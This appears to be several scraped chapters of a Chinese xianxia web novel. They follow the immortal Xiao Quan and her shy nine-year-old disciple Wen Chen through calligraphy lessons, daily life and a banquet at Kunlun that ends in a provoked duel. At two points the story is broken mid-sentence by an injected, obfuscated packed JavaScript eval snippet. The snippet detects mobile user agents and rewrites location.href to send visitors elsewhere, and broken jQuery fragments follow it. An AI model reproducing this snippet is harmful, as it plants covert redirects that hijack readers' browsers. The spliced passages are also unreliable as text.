徐周雪是徐母从小捧到大的掌上明珠,自小受家族风气耳濡目染,十五岁时能手撕邪祟,瘦弱身板不强,力量却彪得惊人,现是昆仑一名兵将。 徐周雪差点翻白眼,“我是跟母姓,父亲是入赘的。” 何遥露出赞美之情,“伯伯勇气可嘉,真不错。” 潇泉:“是吗?那你多学学。” 彼此打趣完,何遥兴致未消,死活要看潇泉徒弟,说要把传家法教给闻尘。 “你想教我徒弟传家法?信不信你回去就被玄武洞门主伺候,他老人家估计没见过胳膊这么往外拐的徒弟。”潇泉数落一通,“去可以,不许捣乱。还有,只能偷看一眼。” 何遥叹气,“知道了,你徒弟只可远观不可亵玩焉。” 潇泉踢了他一脚。 有她领路,两位畅通无阻进入青泽内围。殿宇园林错落相间,美观自然,远处山脉尽藏云雾之间,与若隐若现的宫殿融并,宛若一座庞大的梦中之城。 云霄殿临近瀑崖,崖下偶有白鹭降临。闻尘房间距离此地只隔一条青石板路,三人漫步很快到达他屋子窗口对面的一株树下。 何遥偷偷摸摸在树后啧啧赞叹:“年纪小小长这么俊俏,不知以后会迷倒多少姑娘,就是看着太古板了,跟我师父一个样……他在作甚?练字呐?我瞅瞅?” 潇泉正想说什么,何遥弹指施法,从闻尘写好的那沓纸堆里随便取来一张,只看几眼便喷笑道:“这、这这……” 纸张上面铺满密密麻麻的墨字,横竖撇捺样样到位、端正有样,但诸多笔画长短不一,板板正正像极假人所写。 刚好瞟一眼的徐周雪一时也有不忍,但很快恢复严肃,捶了一拳何遥,“有那么好笑吗?又不是所有人学过文书笔墨,这就值得你嘲笑了?” 何遥满眼无辜,“我是觉得这个字很像一张哭丧脸,有鼻有眼的难道不好笑吗?我真不是故意嘲笑,冤枉啊好吧。” 这字确实写得有意思,潇泉越看越觉得像本人,弯唇道:“又不是所有天才自小锦衣玉食,穷得叮当响的大有人在,没学过笔墨很正常,没什么值得好笑的。好了,你小声点,我们这边聊。” 何遥轻咳,“好的逍遥君。” 14. 相见欢(五) 幸好何遥带的访礼足够,不至于空手拜见青泽宗主,否则太不像话。白清鸣对这两名晚辈不近不疏,收好礼物请茶相待。 俩小辈不敢同她侃侃而谈,始终敬而远之。白清鸣知和他们有代沟,没有插话,让他们自己聊。何遥乐意至极,同潇泉聊起近日,“潇泉,后面师会你要不要带徒弟去听学?这可是你们独有的权力。” 昆仑师会在百试大会之后举行,主邀新一届师徒前往昆仑听学,有资历高深的仙师对新入门子弟进行教诲,使其了解昆仑大道所向,受昆仑学境熏陶,激励他们奋学。 潇泉:“昆仑师会不是强行的?和我愿不愿意没什么关系。去肯定是要去的,又没什么坏处。” 何遥:“那你这些天就带徒弟喽?” 提到徒弟,白清鸣斜睨潇泉不语。潇泉知道她什么意思,道:“小孩初来乍到什么都不懂,我给他一本入门手册好好学学,之后的修炼之后再说,先不急。” 徐周雪回想在树下偷看少年练字的情景,问:“你徒儿多大?” 这问题再简易不过,潇泉却没答上,“……我回去问问。” 送走何遥他们,潇泉来到那间小屋,敲了敲门。门虚掩着没关,她想了想,先猫腰偷看判定该不该进。 闻尘感觉脖子后凉飕飕的,一扭头,门缝有双眼睛飘来飘去,有种说不上的偷感。他神情不改,回头续写,“进。” 潇泉推门进去,负手走到闻尘旁边看他练字。闻尘不作反应,随她而去。不消片刻,一只匕首柄头被一只手送到眼前,闻尘眼睛一亮,哑然抬头看向潇泉。 潇泉明知故问,“你瞧我作甚?” 闻尘将匕首柄头紧紧握在手心里,慢慢埋下头去。 紧张气氛渐渐缓和,潇泉盯闻尘练字半天,发现他拿笔姿势没错,写姿也没错,就是笔顺不对。 潇泉勾勾手指,“笔给我,我教你。” 闻尘递笔给她。 拿到笔后,潇泉没有急着化身大书法家,耐心在纸上一笔一画写道:“你知道这两字念什么吗?” 闻尘摇头。 “我的名字。” “你的名字?” “对,我的名字。”潇泉耐心复述,递笔给他,“这两个字只要你会念会写,哪怕在外遇到多大困难,喊一声,都会逢凶化吉。” 闻尘接过笔,“为什么?” 潇泉眯眼笑,“因为你叫的不是别人,是我。” 闻尘愣了一愣,接过笔,凭借记忆从右往左慢慢写出这两个字。 潇泉:“可会念?” 闻尘:“……会。” “叫声听听?” “……” “你是害羞还是不好意思?”潇泉忍得肚子疼,“我叫你念就念,不用在意辈分尊卑。” 闻尘犹犹豫豫,盯着纸上两字小声念了一遍。 “还有,你看着。”潇泉拿笔再写,写到第三字时放慢速度。 闻尘一一看着,自己动笔照搬照写,却因不通笔画而写得古怪生硬。 潇泉忍不住上手教他,“‘长霁’是我字,一般是亲近的人念。” “亲近的人……亲人吗?” “是,也可以不是。只要彼此关系匪浅,介不介意全看个人。反正我不太在意。有时我惹你白师祖太生气,她也会这样叫我。”潇泉如是说着,少年却没反应。 闻尘目光落在一起握笔的两只手上,想起这种场景只在学堂偷偷看到过,如今发生在自己身上,不免恍惚。 潇泉没注意他在做甚,随手翻开书籍一页,念道:“浮生暂寄梦中梦,世事如闻风里风。” 闻尘:“什么意思?” 潇泉觉得这诗过于悲慨,随口答说“不知道”,再翻一页,不料比刚才更甚,索性合书,眺望窗外,看到什么写什么。 闻尘看她一眼,轻轻翻开她刚才合上的书页,默念一遍那句诗词,而后道:“这句我曾在茶馆听说书人讲过,写得很好。” 镇上茶馆又小又旧,在里间听书做客要钱,外间没那么多规矩。说书人嗓门敞亮,震满整个堂屋,闻尘经常坐在外间听老师傅娓娓叙说旧朝史事和民间异闻,或是官场不得志的悲慨诗词。 他只是认字困难,爱写错字。 潇泉:“依你之见,好在哪里?” 闻尘:“身临其境。” 室内静悄无比。 潇泉默叹一声,转移话题,“对了,你生辰是何时?” “四月初八。”闻尘定定坐直,“我爷爷给我定的。” 潇泉忽觉自己不该亲口问他这些,可不问本人又怕自己弄错,只好硬着头皮再问:“今年多大?” “九岁。” 潇泉点头记下,说晓得了。 练完字,她让闻尘背一背入门必修技法,不限时间精力,就在云霄殿。 潇泉不会时时刻刻都在,要求也不高,有时会逗一逗他放松身心。譬如,她将绿藤编成花环,走到低头看书写字的少年身边,把花环戴在他头上。 闻尘心思放在书上,没注意她给自己戴的什么,只感觉一股草味。他停笔不动,摘下花环,“别闹。” 潇泉:“写挺久了,不歇歇?” “等会儿。”闻尘抄完最后部分,搁笔起身,去另一边雕刻。 木雕是潇泉给他拿来放松身心的,谁知变成另一类课业,只为完成任务而不体会其中快乐。这非是她想要的结果,潇泉抬掌一收,闻尘手上的半成品摇身变成一只漂亮小青鸟。 闻尘放下手中刻刀,松开小鸟,有点迷茫。 潇泉:“我这法术可削万物,能让死物有灵,想不想学?” 还好这家伙不是真的榆木脑袋,知道该顺她意,拱手行礼,“恳求师尊传授。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059103|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 潇泉心情大好,朝他招手,“过来,为师给你说。” 闻尘走到她身边。 潇泉捡起一块石头画符施法,石头簌簌掉落石屑,逐渐变成手掌大的乌龟石雕。她解释道:“这叫木头术,不单能变木头,还能变其他的。” 这归根于符术的使用,错了半点就不成,是潇泉闲来无事琢磨出来的。 她把符术说与闻尘,闻尘起先会错,经潇泉指点,能把石头变成兔子石雕,再之后,施法灵活许多,想变什么就变什么。 闻尘玩心不重,学此术不见得有多喜欢好奇,全然是为了学而学。真想让他变成一个无忧无虑的孩子,归根结底只有他自己解放自己,才会像一个活生生的人。 为什么有的人会如此愚钝?这个问题久久萦绕在潇泉心中。 改变先天缺陷急不得,潇泉怕闻尘陷入修行无法自拔,这些天对他放养,该吃吃该喝喝该玩玩。 不管闻尘愿不愿意,潇泉总有办法治他。时间一久,无可奈何的闻尘只好由着她去。 山上待腻之后,潇泉便领人往山下跑,到酒馆坐一段时间,拎着大名鼎鼎的女儿河回青泽。半路碰到其他酒友,酒友问:“潇泉?你这是……带徒弟出门遛弯了?” 潇泉认识的这位酒友是一名修仙道士,年纪看着比潇泉大几岁,胡茬短发,藏蓝素袍。 酒友伸手想摸闻尘头顶,闻尘脚步一挪,躲到潇泉身后警惕看着对面道士。 潇泉明显感受衣袖被一道力量攥紧,愣了好半晌,随后嘴角轻翘,试探触碰,没见躲开,轻轻拍打以表安慰,带着歉意道:“我这徒弟认生,让您见笑了。” 酒友包容道:“孩子年纪尚小,认生能理解。是贫道没考虑周全,吓到他了,该我致歉一声。” 潇泉:“没事,过几年就好了,道长不必客气。” 二人简单客套几句,礼貌道别。 师徒俩还握着手,潇泉刚想松开,闻尘快她一步挣脱而出。潇泉没说什么,只觉得教养这条路比她想象的要难。 她继续往前走着,闻尘不远不近跟在后面。她停他也停,她走他也走,她一回头,他便低头哪儿也不看,拘谨得很。 潇泉忍不住道:“你很怕我?” 闻尘沉默顷刻,轻轻摇头。 潇泉没有强迫他亲近自己,给足他自由慢慢适应,毕竟爷爷过世后习惯了一人生活,如今拜进师门有人作伴,身心不适很正常。 总之,慢慢来就好。 今日所学所练不多,闻尘一赶回青泽便在房中埋头补习,不慎写坏一支毛笔。潇泉挑了一支轻巧毛笔给他备用,顺便让他把练字地方搬到殿内庭院。 在山下逛痛快的潇泉没想着再去哪儿潇洒,一边喝酒一边玩鸟一边荡秋千,觉得秋千荡得不够高,朝不远处端坐练字的闻尘道:“乖徒弟,帮我一个忙如何?” 15. 相见欢(六) 她笑声明朗清亮,用苗家姑娘话说就是一个适合唱山歌的好嗓子,柔而不弱,细而不尖,如泠泠山泉一样明澈动听。有点不同的是,这话带了点乞求意味,明朗又狡黠可怜。 这声悠喊将闻尘沉浸在书海的意识给拉了回来,少年还未落笔便停在半空,“你说。” “帮我推一推,推高点。我赏你酒吃。” “……弟子不喝。” “只要你帮为师推秋千,今儿一整天师父都不烦你,如何?” 听此,闻尘当真下了位子,走到秋千后边,两手握住吊藤慢慢往前推。 潇泉:“大胆推,推不死我,放心。” 身后人并没放下顾虑,推荡力度刚刚好。 在秋千往上推的刹那,潇泉突然飞身出去,闻尘下意识松开秋千,往前追去,但看清情景后又停在原地。一旁的仙侍同被吓到,以为潇泉被甩飞出去,一时惊住,后来一脸生无可恋。 潇泉哪里是被甩下来的,分明是自己跳下来拿酒喝的酒鬼。瞥见两人惊慌,她哈哈笑道:“我只是想喝酒了,不用担心。这点高度也摔不死我。” 空荡荡的秋千略显寂寥,闻尘重新坐回位子誊抄文章。 黄昏,庭院已无侍者,先前那名仙侍没守多久便被潇泉遣退。潇泉素来不喜有人看殿,只觉做什么都不自在,故早早打发仙侍回去休息。 她上树继续痛饮一坛,想到院中还有一人,问:“你真不喝酒?是不喜还是没喝过?要尝尝吗?” 闻尘:“不要。” 潇泉看他年纪尚小,不作强求,自己抱着酒坛美美品尝。 一坛女儿河的威力还是不容小觑,一般是由两人分饮,不然会遭醉祸。潇泉酒量不差,但饮完整坛有点吃不消,慢慢见了醉意。 天逐渐暗沉,闻尘终于收笔,似想起什么,抬头一看,树上女子早已睡得昏昏沉沉,半个身子几欲掉落,衣袂裙摆在空中随风轻荡。 闻尘走到树下望她,酝酿半天喊:“师尊?” 星夜月明,周边寂静得过分,可就是叫不醒梦中的人。 闻尘喊了两遍无果,沉默之后,换了个称呼喊:“潇泉。” 潇泉还是没醒。 闻尘又喊:“潇长霁。” 奇也怪也,这声竟真把人叫醒了。 潇泉迷迷糊糊睁眼,“小兔崽子叫谁呢?没大没小……” 这下,闻尘没吱声。 眼看天色将黑,潇泉悠悠坐起爬下树,微微摇晃走到闻尘面前,忍住想捏他脸的冲动,“好了,回去歇吧。这两天先不学练字念书了,为师教你术法。记得要好好休息,别再挑灯夜读,明日醒了来云霄殿用早膳……午膳也成。” 她眼睛分外明亮,“你上次做的什么红薯青花饭,能不能再做一回?若为师学会了,定不会再麻烦你……行不?” 上次闻尘来给潇泉请安,她刚从舒服的被窝里钻出来,饭还没吃,肚子饿得咕咕响,闻尘被迫去厨房做了一餐简单早膳给她。仅仅是普通食材用料,便勾得人口水直流,流连忘返。潇泉以为,闻尘不但是小武神,还是小神厨。 闻尘不点头也不摇头,不予明确答复。 潇泉没精力再猜,走回宫殿寝室倒下就睡,一觉睡到自然醒……也不算自然醒,她是被一阵清香勾醒的。 仙侍垂首提醒,“仙君,这是闻尘师弟托来的早膳。” “行,多谢。”潇泉披上外衣洗漱干净,美美饱餐这顿,按约定出门,来到一座房屋窗前轻轻一敲,“手艺比上次更好了,不错。” 闻尘习惯了她的不正经,反问:“今日学什么?” 潇泉:“今儿上昆仑,明日是师会,意味着你的听学要开始了。” 闻尘:“……你先前为什么不说?” 潇泉:“总归要去,提前说我怕你忧虑。去了那儿,不能像现在这样悠闲自在,我会按昆仑要求拘束你。你能学到很多,但也会比现在累上十倍。” 如此,闻尘不好再说什么。 师会的前一天,上昆仑的修士极多,大多是忙进忙出的昆仑仙子,参会者占少数。 出发这日,华烨真人难得现身青泽山,潇泉见之如见老友,兴奋道:“师叔你可算来了,我还以为我不去百试大会您生我气了。” 华烨真人无奈笑道:“不会。师叔知道你不喜凑热闹,所以理解。不过总是逃避,昆仑怕得狠狠记你一笔了。有时,做做样子敷衍一下会比坦率直白好点,至少不会让人抓住把柄,落下口舌。” 潇泉不喜听训,却不会反驳华烨真人,他所谓的劝告训斥不过纸老虎一只。只要她耍赖卖乖,他的话锋能反向对准昆仑。 华烨真人之所以与青泽亲,是因年轻时候为白清鸣师弟,只是二人同宗不同门。一个是道法自然的传承人,一个是百年难遇的剑道魁首。 因年代久远,师门自散,华烨真人入昆仑以后,意外发现唯一算得上有关系的只有白清鸣。同宗情谊在陌生环境中容易促使两个素未谋面之人变得异常珍惜,可一旦碰面,又不如同门子弟那样亲近。他们最多是在讨论某件重事时聊久一些,闲话很少常谈,也很少提及过去,也就潇泉喜欢追在华烨真人屁股后头一口一个“师叔”地叫。 好不容易见上一面,潇泉却有点别扭,不敢像从前那样絮絮叨叨。她把身后闻尘推到面前,简单介绍少年身份。 闻尘凝望华烨真人半晌,恭敬行礼道:“拜见真人。” 华烨真人扶他起身,笑道:“好孩子,还记得我吗?” 闻尘:“记得。” 华烨真人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070293|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向潇泉,“在师尊身边过得可还好?” 闻尘木着脸,“……挺好的。” “那就行。” 潇泉不知他们早相识,后经华烨真人细说百试大会那日发生的事,她才知道原来华烨真人不仅是赋予闻尘机会的贵人,也是苦心推他入青泽的背后之人。 动身前,潇泉道:“师叔,你要跟我师父说一声吗?这会儿她应该在紫云殿。” 华烨真人:“不必。她肯定知道我来了,只是不想出面。我不好打扰她,走罢。” 昆仑地势险峻,昂霄耸壑,灵气郁郁。几人通过仙道顺利到达,路上碰见昆仑修士,彼此点头招呼。 华烨真人带他们来到庭院殿宇之中,“这是昆仑给你们安排的住处,衡水居。听学这段时间你们就住这里,住不习惯可以给上面说一声,看看能不能换。缺什么要什么,上报即可。今日先休息,明早鸡鸣时记得起来赴宴,莫要迟了。我还有其他事要忙,就先走了?” 潇泉不敢留人,拱手谢过,送他出门。 宫殿不大不小刚刚好,五脏俱全,没有缺漏。潇泉把自己和闻尘的行囊一起理好,发了会儿呆消磨时间。 吃完晚饭没事干,潇泉去浴室泡澡,回来正好和闻尘撞上,他也刚从浴室出来。两人进屋各自做自己的事,小的点灯阅文,大的躺床数羊。 入夜后没多久,房间安静熄了灯,一向埋头苦读的少年难得早睡,爬上新床开始入睡。 须臾,潇泉偷偷摸摸下床走向对面,越过屏风蹲到那张小床前,观察少年半天。 终于,闻尘忍无可忍,压声道:“做甚?” 潇泉:“我认床,睡不着,想看你睡了没有……你困吗?” 房中漆黑一片,闻尘轻轻说道:“不困。” “真的?” “嗯。” 潇泉转身明灯,扯出一条红绳,“那我们翻花绳?” 闻尘微愕然,许久道:“我不会。” 潇泉咧嘴,“不会正好,师父教你。” 师徒俩分不清谁是真正的孩子,闻尘说不会是真的不会,潇泉先示范一遍,然后教他学完所有的翻式。闻尘学得快,略微思索便灵通。潇泉不甘示弱,连胜他三局,等闻尘赢回第四局,潇泉摆手道:“我困了,不玩了。” 闻尘:“……” 潇泉哈欠连连,不像演的。闻尘解开指尖错乱的红绳,谁知越解越缠,有点不耐道:“剪刀。” “哎哎,不能剪不能剪。宁可信其有不可信其无啊徒儿,避一避总是好的。”潇泉伸出两手,“师父来解。” 她像是知道红绳每条线的交错方向,灵活解开乱成一团的红线,揣回袖里收好,与闻尘道安便回床就寝了。 这回,烛灯没再在半夜重明。 16. 相见欢(七) 师会当日热闹愉悦,来者皆是听学的师徒们。 所有人正装出席坐于席位上,静听华烨真人交代,走过流程简单概括,无非是该吃吃该喝喝但不要和旁人发出摩擦违背门规之类。最后,一个身材稍微肥胖的男人出来道:“还请诸位牢记华烨真人叮嘱,务必守规守礼。做师父的要对徒弟负责,做徒弟的要听师父话。你们在昆仑的所有举动皆受监视,所以要注意言行举止,莫闹什么幺蛾子,免得惹人笑话。言尽于此。武某在此恭祝诸位修有所成,早日成仙。” 武执笔在此,无人敢不敬,皆是附和捧场。 礼宴规矩不多不严,主要是让新入门子弟放松。为了不扰诸位雅兴,武执笔和华烨真人悄然离宴。 宴会主要听乐看戏,规矩松弛,若谁有兴致,可上台即兴一场。有人率先开头,演唱当下盛行歌乐《千山绝》,声动梁尘,铿锵有力,一众看客无不拍手叫好。 轮到下一场开始,几名子弟抱着九个彩纸笼上来一字排开挂好,然后屏退下台。 所有人静静等候,一曲笛声袅袅绕梁,由轻到重,从重转轻,音落无声时,一支金色细针飞出,穿破所有彩笼,笼内彩纸顿时满天纷飞。 眼看那金色细针快要射中对面席位上的仙君,一抹华丽霞影踏空奔来,将细针携回手中,转而夹于指间。再一看,圆鼓针头赫然开出一朵金莲。 全针通体金黄,待到破晓便开花。这正是朱雀宫家的独门暗器——金莲针。 少年手指修长骨节分明,夹着金莲针笑看席位上的仙君,“明知这是我宫家独门暗器,却不避不躲,看来仙君胆量还真是令人钦佩。” 仙君不怒反笑:“若宫榷公子真敢在公堂之上闹荒唐,估计回家也不好受吧?” 宫榷:“仙君倒是贴心,竟会关心别人回家如何。不过家中密事,不劳仙君操心。” 仙君轻轻摇头自饮一杯,淡笑道:“是,是。” 都说宫家长子宫榷是个顽劣之徒,除了母亲宫家主母和他师父以外,不会再听任何人的话,极难管教。 宫家主母,亦称宫主,是一个心狠手辣的女子,年十八便位列仙君,从来不受家族信奉,传承百余年的朱雀信仰在她那里可谓是一文不值。不过,她会看在朱雀曾庇佑过老祖宗份上保留这份信仰,一来不受信仰束缚,二来不悖家族传承。 宫家家规严苛瘆人,家主之位只凭本事可坐。宫家主母本事不小,上敢讨伐自己的父兄族人,下至随意覆灭宵小之徒,亲自捉奸移情别恋的丈夫,将偷腥的男女赐以蚀骨之刑,挫骨扬灰。 男方一族的地位名声远不如宫家,他与宫家结亲人人都道是攀上枝头成了凤凰,可惜没有自由。 宫氏杀夫灭妾一事闹得沸沸扬扬,向来不管私人恩怨的主宰大人被迫出面。 宫家战功赫赫,除妖证道,做过不少好事。主宰顾及功德,罚宫氏生育完去道观禁足三年,之后再受惩戒。男方族人对此罚不满,以为过轻。主宰给的理由是男方趁宫氏怀胎移情别恋,险害宫氏滑胎,有失常德,故驳回不满。 宫榷由奶娘抚养长大,宫家主母不在几年被奶娘下人宠得不懂节制,初次见生母没认出来,大放厥词,被对方狠狠赏了两个耳光才知道这个女人是他的亲生母亲——宫玉泷英。 家族没人敢直呼宫主名讳,提起来都瑟瑟发抖。宫榷更是如此,一做亏心事,只要有人喊他母亲姓名,管他是真是假,赶紧提鞋子溜人,真真跟老鼠见了猫似的。 没人会把宫玉泷英此名与杀伐果断的女人联想一起,可若换成宫家主母,那便没什么稀奇的。 为了在屋檐下活得体面自在,宫榷想尽办法讨好母亲欢心,偶尔记恨不争气的父亲。事情大家有目共睹,早在坊间传开,个个把宫家主母追训宫榷的事迹传成老鹰钻鸡窝,早晚都得死。 这名仙君拿宫家主母压他,宫榷怎会不知?碍于公众场合,他不予计较,退至舞台,耍了一套舞乐合一的枪法。 众人一看,纷纷笑说:“难得宫榷公子肯赏面子给我们耍把戏,不然我们哪有机会看他的舞姿?” “听说是宫主想磨一磨他目中无人的心性,特意叫他练把戏来台上哄大伙儿的。你还别说,看宫大公子耍把戏可比斗鸡有趣儿多了哈哈哈!” 少年气质如本人一样高高在上,但身姿手法着实精彩出色,不耽误大家看得津津有味,心叹这位人间富贵花,果然名不虚传。 宫榷一个回马枪配合针法,将金莲针随便送给一个幸运儿。 与其说送,不如说是挑衅。针势迅猛,直朝脑门,潇泉眼也不抬,举盏一挡,金针猛然弹回台上少年的金冠之上。 场内顿时寂静,你看我我看你。 宫榷站立不动,静静望着。对面女子同是有名之君,姓潇名泉,不过她与自己不同,越想隐身匿迹江湖越有非议,诸如奇才自废、无法无天和潇洒成性云云,名声偏于两极分化。 因为太过随性,白宗主对其恨铁不成钢。倘若她苦钻修行突破第十三境,白清鸣就是真正的后继有人,但不知为何她明明只差那一步,却停下境界突破,至今未动。 潇泉懒得猜这小魔头心思,总归好不到哪儿去。她举杯抬手,一根枪杆却挑来抵住。 宫榷见潇泉递来眼神,收枪递给侍从,“早闻逍遥仙君酒量不错,有兴趣比一比吗?下赌注的。” 潇泉:“宫大少爷,我这酒可不是喝着玩的果酒,是我自己酿的,你绝对喝不来,还是莫要逞强好。” 宫榷微笑,“不试试怎么知道?” “哦?那我拭目以待。”潇泉倒了一杯酒甩给他。 宫榷张手接住,一口灌入喉肠,似是真没喝过这般烈酒,呛得咳嗽几声,旁边侍从连忙倒水给他。 潇泉轻晃酒盏,笑而不语。 旁边席位上,闻尘正襟危坐,一边观戏,一边受师尊之命、剥果子皮一起吃。 宫榷□□的怒火被他吸引,“你就是那个新来的?看着比我小,听说在百试大会夺得榜二,想必实力定不一般。起来,我们打一场。” 闻尘不动声色,仿佛没听到有人说话。 宫榷暗暗咬牙,正要再说,潇泉打断了他,“宫榷公子,我这徒儿年纪尚小,武功远不及你,你何必去为难他?说出去不怕丢人?” 宫榷笑道:“我丢人还算稀奇事吗?不差这一回。” 也是,他的名声已经败无可败,从不讲武德,只想自己玩痛快。 潇泉反问:“你师父在何处?” “就在不远处。”宫榷挑眉,“怎么,仙君想去告状?” 潇泉:“这怎么能算告状?我只是觉得,自家徒弟性情顽劣,作为师父,怎么说也应该好好管一管。” “那你是在埋怨我师父教导无方?” “这可是你说的,我并无此意哦。” 宫榷冷哼一声,忽而扬唇,扭头跟侍从说了两句,侍从匆匆离开,然后吁吁跑来复命,说难得一回,要跟潇泉比试一场,给诸位晚辈开开眼界。 潇泉:“真的假的?你这小子不会偷偷给我火上浇油了吧?” 宫榷:“怎会?这么多双眼睛看着,你觉得我敢?” 潇泉心中冷笑,他不仅不敢,他师父也不是什么好东西,没有火上浇油,八成也会顺水推舟。 潇泉:“好啊,可以。” 此话一出,群人一片哗然。 宫榷师父是宫玉泷英亲自请来的隐居仙师罗椮,功法雷霆奇快,呼风唤雨,不好对付,潇泉何德何能与之一战?就算可战,拿什么赢? 闻尘在众人脸上看到不可思议,哪怕初至昆仑不了解情势,也隐约知道宫榷师父不是善茬,猛地转头看潇泉,她却似没听见,悠哉游哉吃着葡萄。 “师尊……”闻尘欲言又止。 “难得你肯主动说话,想说什么就说吧,别憋着。”潇泉对他一笑,“憋着也没用,我知道你在想什么。” 闻尘唇瓣翕动,“为何要答应……” 潇泉:“你这是在关心我?” 闻尘不答。 潇泉又问:“你觉得,我是为了你而战?” 闻尘彻底愣住,想不出话回应。 他从没这样想过这种自以为是的话,她性子耿直仗义,就算被欺负的不是他,她也会帮。 潇泉见闻尘在发呆,打了个响指,“避事非怕事。有人想扫青泽脸面,我怎会轻易答应?你打还是被打,关乎的从来不是你一个人。既然有人不服想战,那不妨一试,打到他们服为止。” 闻尘回神,“输了如何?” “输了就输了,只要不丢命,怎么输都行。”潇泉微微一笑,“不过你师父我活了这么久,还真不知道‘输’字怎么写。” 闻尘:“……” 潇泉摸摸他脑袋,“傻孩子,有时心气比实力重要,只要保持良好心态,不愁攀不过大山。输,又算得了什么?” 闻尘似懂非懂。 潇泉:“你投到我座下算是倒了八辈子大霉,你师父我不仅是招风体质,还名扬万里。你会和我一样被无数眼睛盯着,不得安生。” 她所说不假,宴会确实有人动不动往他们这边瞟来,闻尘一直知道。 “在我这个到哪都能掀起风浪的人身边,你怕不怕?”潇泉压低声音,“要是怕了,我可以立马写一封离道书上去,这样我们就能重新开始。” 女子眉眼带笑,但句句没有半丝假意。 宫榷看戏不嫌事大,“我看也行。只要是师父写的离道书,解开师徒契只要主宰大人点头就行,没那么困难。昆仑很少有长者写离道书,毕竟是自己亲自挑选的徒弟,自然资质奇优,不会轻易放手,不过我看你们两个性情不大相合,想必日日久处,如煎情寿,痛不欲生。大概就是……孽缘吧。” 潇泉笑脸微凝,倏地拍案泄出一荡气流,宫榷和侍从被震得连连后退,捂着胸口苦着脸。 只见席位上的女子放下酒盏,“在我这里,从无‘孽缘’二字。反倒是你,更像投错了胎。” 宫榷知道自己打不过她,站在原地气得干瞪眼。 潇泉懒得搭理,转而对闻尘道:“你是走是留,我都尊重你。不要被名声束缚一辈子,这不值得,想去哪儿就去哪儿。” 闻尘沉默许久,“……不要逼我。” 潇泉诚然无奈,“我没有逼你。我只是想知道在我身边你快不快乐、幸不幸福。我第一次当师父,有很多地方做不好。最重要的是,我们行事风格不一样,性情完全相反。若真是志道不同,又何必强求同谋呢?” 如果在她身边真的不快乐不幸福,那么她可以尽师父最后一点职责,给他一次重新选择的机会。 闻尘定定看着她,酝酿良久道:“容我……想想。” 潇泉:“不急,慢慢想,但只有这一次机会。” 闻尘颔首,“嗯。” 这时,宴宫门口走来一位玄衣华发老者,眼神尖锐似刀,留有岁月痕迹的面容不失活力,十分精神。他气场迫人,小辈莫不敢靠近,与同伴窃窃私语,不少人探头观望。 得知真相的少数人四处传播来龙去脉,多数人很快清楚罗椮是赴战而来,频频看潇泉反应。 潇泉面不改色,待罗椮走近才拍裙起身行礼,“见过前辈。” 罗椮声音低沉,听不出情绪,“听人说,有人质疑老夫教养无方,还放话让老夫迎战,可是真?” 有女君出面道:“罗大人,此女是青泽白宗主的座下弟子,说话向来摸不着头脑,又年轻气盛,何必跟她过不去?何况我在旁边并未听到她质疑过您的雷霆爪,倒是您那小徒弟……” 聪明人都能听出是宫榷报了假消息,但罗椮不为所动,“来都来了,哪有退身的道理?老夫不是没听过青泽白宗主的名号,这下赶巧,正好看看剑道第一人所教的徒弟有何等能耐。” 女君发愁愤懑,心道这老前辈如此不讲理,怪不得能教出这样的徒弟。 潇泉淡定道:“前辈赴约是晚辈的荣幸。” “好,那老夫今日就遂了你的愿,与你斗上一场!”罗椮呵呵一笑,脚步一抬,闪身站到殿外。 外面,乌云压城,闪电隐现。潇泉没有犹豫,拂袖而去。有人想去凑热闹,门口却有一道无形无色的屏障堵拦,他们只好站在墙内观望。 闻尘艰难挤到前面,拍打了几下墙体。 宫榷冷眼旁观,好笑道:“别白费力气了,你永远破不了它,磕破头也不行。” 有人劝说闻尘,“小友,这道屏障是罗大人布下的无心墙,只有他允许,方可进入,我们做什么都没用。” 闻尘双手扒紧墙面,脸色不大好看。 看他无可奈何,宫榷嗤笑道:“我很不理解,潇泉懒散成性,自诩‘逍遥仙君’,早不知被仙门看笑话看了多久,你居然还敢拜入她门下?简直是自断前程。” 闻尘脸色阴沉,转身往另一边去。 宫榷伸手拦住,“怎么,你还想换个地方敲?别傻了,你敲破手都没用,我师父的无心墙坚不可摧。” “滚。”闻尘冷声。 宫榷奇道:“还会骂人呢?我还以为你是个哑巴。我在旁边观察好半天,从未听到你喊她一声‘师尊’,只以‘你我’相称。你们的关系有点意思啊……我猜,你挺不服她的吧?很正常,没人会喜欢一个独尊高位却整日游手好闲的酒鬼。她哪里配得上‘仙君’二字,不过是耍了见不得人的手段。这种人进昆仑,比被妖鬼缠上还要晦气。修成至尊又如何,谁知是不是使了歪门邪道魅惑众人……” 话音刚落,一道黑影袭来。宫榷两眼一黑,被这一拳打得满脸生疼,牙口冒出股股腥气。他痛得张嘴,吐出一颗红牙。 闻尘直瞪宫榷,丝毫不避,明摆着自己就是打他了。 宫榷捂脸呸骂:“有娘生没娘养的小杂种!想死是不是?!袁三,抓住他,给我狠狠地打!” 侍从跨步朝闻尘一抓,其余人见状,赶忙把他们拉开。 “放肆!这是在昆仑山上主宰脚下!你们当众私斗是活腻了吗?!宫榷,你敢以大欺小以强欺弱,不怕宫家主母赶来收拾你?” 宫家主母像一头镇火石,刚要发作的宫榷一忍再忍,在多名仙子劝说之下,最终压回怨气。 闻尘不再理会,径直朝门口走去,紧紧扒着屏障往外看。宫榷冷扫一眼,笑带嘲讽。 